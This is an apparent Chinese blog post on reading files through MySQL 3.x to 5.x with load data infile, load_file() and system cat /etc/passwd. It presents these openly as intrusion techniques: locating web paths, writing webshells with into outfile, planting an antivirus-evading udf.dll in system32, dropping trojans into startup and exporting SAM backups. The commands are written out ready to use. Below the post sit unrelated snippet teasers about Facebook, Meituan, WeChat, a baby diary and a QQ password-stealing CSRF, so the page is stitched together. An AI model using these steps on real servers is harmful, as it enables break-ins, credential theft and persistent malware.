今天朋友问我如何在mysql下读取文件,把我问愣了,发现自己还是犯了不求甚解的毛病,因此特地查了下mysql使用手册。
思路都一样,在拥有file权限的前提下,读取文件为字符串形式插入表中,然后读出表中数据,只是方式略有不同
mysql3.x下
不确定mysql3.x下能否使用load_file()函数(我在mysql3使用手册上没有查到,但貌似是可以的),用 load data infile 读取文件,命令如下
mysql>create table a (cmd text);
mysql>load data infile 'c:\\boot.ini' into table a;
mysql>select * from a;
mysql4.x下
mysql4.x下除了 load data infile 外还可以用大家熟知的 load_file() 来读取,命令如下
mysql>create table a (cmd text);
mysql>insert into a (cmd) values (load_file('c:\\boot.ini'));
mysql>select * from a;
mysql5.x下
在linux下,mysql5.x 除了上面两种 *** ,还可以利用 system 直接执行系统命令的方式来读取文件(是否必须root身份不确定,未测试),命令如下
mysql>system cat /etc/passwd
mysql下读取文件在入侵中用到的时候不多,可能用于查询配置文件寻找web路径,或者webshell权限很小的时候读取其他格式的webshell内容然后用into outfile方式写入大马等,二进制文件也可以这样用,只是多了hex()和unhex()的工序。
例:把免杀过的udf.dll文件插入系统目录
create table a (cmd LONGBLOB);
insert into a (cmd) values (hex(load_file('c:\\windows\\temp\\udf.dll')));
SELECT unhex(cmd) FROM a INTO DUMPFILE 'c:\\windows\\system32\\udf.dll';
其他的利用 *** 也很多,如把木马文件写入启动项,或者把加工过的cmd.exe文件导出到系统根目录下,把sam备份导出到可读目录等等,注入中理论上应该也可以这样用(在不知道web路径又可以导出文件的情况下),大家自由发挥吧。
引语:英国科技博客Business Insider小编伯特·布洛吉特(Henry Blodget)周六发文称,以往一年中,有一种观点觉得Facebook已经“杀掉”Google,但具体情况并不是...
美团商家,聊天怎么拉黑 1、首先拉黑美团商家需要打开美团软件,并进入右侧外卖选项。其次选择商家,在右上角点击“...”图标,点击最右侧的“不喜欢”选项。最后在出现的菜单中,选择“拉黑”,确认要加入黑名...
微信,现在是当下十分受欢迎的一款APP。因为其运用的方面越来越广泛的,因而 其重要性也是日渐提升。而且大伙儿早就习惯性运用这一款APP去处理平常的工作中中也有各式各样的培训学习难点,因而 在微信上经常...
时间过的真快。你由最初的嗯嗯啼哭到现在的咿呀学语,由最初的每天闭眼睡觉到现在的左顾右看。现在流着口水吃手指,两个小手抱在一起玩,真是每天都有新技能,看着一天天慢慢长大的你,不禁想让时间慢些走…宝宝吃手...
本文导读目录: 1、要笑话啊!速度!!!!!! 2、速度与激情7多姆开车带着女黑客 3、黑客情人节是什么 黑客情人节是几月几号吗 出自哪里 4、黑客有多少钱一个月啊 5、如果精通黑客,...
一键查看他人qq密码手机版-PHPOK CSRF入侵网站获取管理员权限 接口测试(PHPOK): 加上客户: 抓包软件抓到以下內容: POST /p...